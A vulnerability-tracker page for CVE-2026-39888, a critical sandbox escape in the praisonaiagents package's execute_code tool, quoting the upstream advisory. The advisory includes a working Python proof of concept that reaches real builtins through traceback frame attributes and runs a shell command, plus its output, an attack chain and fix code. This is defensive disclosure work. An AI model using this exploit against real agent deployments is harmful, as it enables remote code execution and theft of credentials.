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  4. CVE 2026 39888 praisonai has sandbox escape via exception frame
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Back to active CVEs
Critical · CVSS 9.9CVE-2026-39888GHSA-QF73-2HRX-XPRP

PraisonAI has sandbox escape via exception frame traversal in `execute_code` (subprocess mode)CVE-2026-39888

Answer in brief

CVE-2026-39888 records a Critical severity (CVSS 9.9) vulnerability in PraisonAI has sandbox escape via exception frame traversal in `execute_code` (subprocess mode). The current sources do not mark it as known exploited. The current feed maps praisonaiagents (pip). Check affected ranges and fixed versions before updating.

Analysis pending evidence review

HOL Guard separates source facts from reviewed analysis. See the methodology.

Published Apr 8, 2026Updated Nov 16, 2026Source checked Nov 16, 2026First seen by HOL Nov 16, 2026Material review Nov 16, 2026
Upstream Advisory

Key facts

Risk
Critical · CVSS 9.9
Exploitation
Not marked as known exploited
Affected software
1 mapped package or product
Fix availability
Available

Why this deserves its current priority

CVSS is 9.9. The current sources do not mark it as known exploited. Treat this as a source-backed prioritization signal, not a statement about your environment.

Analysis status

Analysis pending evidence review

Factual feed record only; HOL analysis is not approved for indexing. Read the methodology.

Affected scope and exposure questions

The current feed maps praisonaiagents (pip). Check affected ranges and fixed versions before updating.

Mapped affected packages and fixed versions
PackageAffected rangeFixed version
praisonaiagentspip<=1.5.1141.5.115

Recommended response

  1. 1Check inventory. Check lockfiles and deployed manifests for praisonaiagents.
  2. 2Review the reported fix. Update praisonaiagents to 1.5.115 if you use the affected versions. Test the change in a non-production environment first.

Evidence timeline and material changes

  1. Published upstream

    Apr 8, 2026

    Evidence: source:ghsa:source_dates:source-dates:record
  2. Source modified

    Nov 16, 2026

    Evidence: source:ghsa:source_dates:source-dates:record
  3. First seen by HOL

    Nov 16, 2026

Sources and claim methodology

  • GitHub security advisorygithub.com
  • GitHub security advisorygithub.com
  • GitHub security advisorygithub.com
  • NVD vulnerability recordnvd.nist.gov
  • Source referencepypi.org
Upstream source description

## Summary `execute_code()` in `praisonaiagents.tools.python_tools` defaults to `sandbox_mode="sandbox"`, which runs user code in a subprocess wrapped with a restricted `__builtins__` dict and an AST-based blocklist. The AST blocklist embedded inside the subprocess wrapper (`blocked_attrs`, line 143 of `python_tools.py`) contains only 11 attribute names — a strict subset of the 30+ names blocked in the direct-execution path. The four attributes that form a frame-traversal chain out of the sandbox are all absent from the subprocess list: | Attribute | In subprocess `blocked_attrs` | In direct-mode `_blocked_attrs` | |---|---|---| | `__traceback__` | **NO** | YES | | `tb_frame` | **NO** | YES | | `f_back` | **NO** | YES | | `f_builtins` | **NO** | YES | Chaining these attributes through a caught exception exposes the real Python `builtins` dict of the subprocess wrapper frame, from which `exec` can be retrieved and called under a non-blocked variable name — bypassing every remaining security layer. **Tested and confirmed on praisonaiagents 1.5.113 (latest), Python 3.10.** --- ## Severity **CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H — 9.9 Critical** | Vector | Value | Rationale | |---|---|---| | AV:N | Network | `execute_code` is a designated agent tool; user/LLM-supplied code reaches it over the network in all standard deployments | | AC:L | Low | No race conditions or special configuration required | | PR:L | Low | Requires ability to submit code through an agent (typical end-user privilege) | | UI:N | None | No victim interaction | | S:C | Changed | Escapes subprocess sandbox into full host process context | | C:H | High | Arbitrary file read, environment variable access, credential exfiltration | | I:H | High | Arbitrary file write, arbitrary code execution on host | | A:H | High | Can terminate processes, exhaust resources | --- ## Affected - **Package**: `praisonaiagents` (PyPI) - **Affected versions**: all versions shipping `sandbox_mode="sandbox"` (default since introduction) through **1.5.113** - **Patched versions**: none at time of report - **File**: `praisonaiagents/tools/python_tools.py` --- ## Root Cause ### Two separate `blocked_attrs` sets — one much weaker than the other `_validate_code_ast()` (line 39, used by direct mode) blocks 30+ attributes: ```python # python_tools.py line 52 — direct mode (FULL list, correctly includes frame attrs) _blocked_attrs = frozenset({ '__subclasses__', '__bases__', '__mro__', '__globals__', '__code__', '__class__', '__dict__', '__builtins__', '__import__', '__loader__', '__spec__', '__init_subclass__', '__set_name__', '__reduce__', '__reduce_ex__', '__traceback__', '__qualname__', '__module__', # ← present here '__wrapped__', '__closure__', '__annotations__', 'gi_frame', 'gi_code', 'cr_frame', 'cr_code', 'ag_frame', 'ag_code', 'tb_frame', 'tb_next', # ← present here 'f_globals', 'f_locals', 'f_builtins', 'f_code', # ← present here 'co_consts', 'co_names', }) ``` The subprocess wrapper script written to disk (line 143) uses a separate, **inline** `blocked_attrs` with only 11 entries — the frame-traversal attrs are **missing**: ```python # python_tools.py line 143 — subprocess wrapper (SHORT list, MISSING frame attrs) blocked_attrs = { '__subclasses__', '__bases__', '__mro__', '__globals__', '__code__', '__class__', '__dict__', '__builtins__', '__import__', '__loader__', '__spec__' # __traceback__, tb_frame, f_back, f_builtins — all absent } ``` ### `_safe_getattr` does not protect direct dot-notation access `_safe_getattr` replaces the `getattr` builtin and blocks attribute names starting with `_`. However, it is only invoked when user code explicitly calls `getattr(obj, name)`. Direct attribute access (`obj.attr` in source) uses Python's C-level `tp_getattro` slot and **never passes through `_safe_getattr`**. The AST check is therefore the only barrier to direct attribute access, and it is insufficient. ### No text-pattern blocklist in subprocess mode `_execute_code_direct` applies a text-pattern blocklist (`dangerous_patterns`) as a defence-in-depth layer. `_execute_code_sandboxed` has no such layer — only the AST check runs. --- ## Proof of Concept ```python import os os.environ["PRAISONAI_AUTO_APPROVE"] = "true" from praisonaiagents.tools.python_tools import execute_code CMD = "id" # any shell command payload = f""" try: 1/0 except ZeroDivisionError as e: _p = e.__traceback__.tb_frame.f_back _x = _p.f_builtins["exec"] _x("import subprocess; print(subprocess.check_output({repr(CMD)}, shell=True).decode())", {{"__builtins__": _p.f_builtins}}) """ result = execute_code(code=payload) print(result["stdout"]) ``` **Output (praisonaiagents 1.5.113, Python 3.10):** ``` uid=1000(user) gid=1000(user) groups=1000(user) ``` <img width="775" height="429" alt="image" src="https://github.com/user-attachments/assets/a110b596-45be-431c-bf5a-9a6b0901bcaf" /> **Why each defence is bypassed:** | Layer | Status | Reason | |---|---|---| | AST `blocked_attrs` | **BYPASSED** | `__traceback__`, `tb_frame`, `f_back`, `f_builtins` not in 11-item subprocess list | | `_safe_getattr` | **BYPASSED** | Only intercepts `getattr()` calls; dot notation uses C-level `tp_getattro` | | `exec`-by-name AST check | **BYPASSED** | Called as `_x(...)` — `func.id` is `'_x'`, not `'exec'` | | Text-pattern blocklist | **N/A** | Does not exist in subprocess mode | | Subprocess process isolation | **BYPASSED** | Frame traversal reaches real builtins *within* the subprocess | --- ## Attack Chain ``` execute_code(payload) └─ _execute_code_sandboxed() └─ subprocess: exec(user_code, safe_globals) └─ user_code raises ZeroDivisionError └─ e.__traceback__ ← __traceback__ not in blocked_attrs └─ .tb_frame ← tb_frame not in blocked_attrs └─ .f_back ← f_back not in blocked_attrs └─ .f_builtins ← f_builtins not in blocked_attrs └─ ["exec"] ← dict subscript, no attr check └─ _x("import subprocess; ...") └─ RCE ``` --- ## Impact Any application that exposes `execute_code` to user-controlled or LLM-generated input — including all standard PraisonAI agent deployments — is fully compromised by a single API call: - **Arbitrary command execution** on the host (in the subprocess user context) - **File system read/write** — source code, credentials, `.env` files, SSH keys - **Environment variable exfiltration** — API keys, secrets passed to the agent process - **Network access** — outbound connections to attacker infrastructure unaffected by `env={}` - **Lateral movement** — the subprocess inherits the host's network stack and filesystem --- ## Suggested Fix ### 1. Merge `blocked_attrs` into a single shared constant The subprocess wrapper must use the same attribute blocklist as the direct mode. Replace the inline `blocked_attrs` in the wrapper template with the full set: ```python # Add to subprocess wrapper template (python_tools.py ~line 143): blocked_attrs = { '__subclasses__', '__bases__', '__mro__', '__globals__', '__code__', '__class__', '__dict__', '__builtins__', '__import__', '__loader__', '__spec__', '__init_subclass__', '__set_name__', '__reduce__', '__reduce_ex__', '__traceback__', '__qualname__', '__module__', # ← ADD '__wrapped__', '__closure__', '__annotations__', # ← ADD 'gi_frame', 'gi_code', 'cr_frame', 'cr_code', # ← ADD 'ag_frame', 'ag_code', 'tb_frame', 'tb_next', # ← ADD 'f_globals', 'f_locals', 'f_builtins', 'f_code', # ← ADD 'co_consts', 'co_names', # ← ADD } ``` ### 2. Block all `_`-prefixed attribute access at AST level `_safe_getattr` only covers `getattr()` calls. Add a blanket AST rule to block any `ast.Attribute` node whose `attr` starts with `_`: ```python if isinstance(node, ast.Attribute) and node.attr.startswith('_'): return f"Access to private attribute '{node.attr}' is restricted" ``` ### 3. Add the text-pattern layer to subprocess mode Mirror `_execute_code_direct`'s `dangerous_patterns` check in `_execute_code_sandboxed` as defence-in-depth. --- ## References - Affected file: `praisonaiagents/tools/python_tools.py` (PyPI: `praisonaiagents`) - CWE-693: Protection Mechanism Failure - CWE-657: Violation of Secure Design Principles

Quoted source text, attributed separately from HOL analysis.

Record context

Vulnerability class
RCE
EPSS
Not reported
CWE IDs
CWE-657, CWE-693
Source
GitHub Security Advisories
Source checked
Nov 16, 2026
References
5 linked sources
Open source record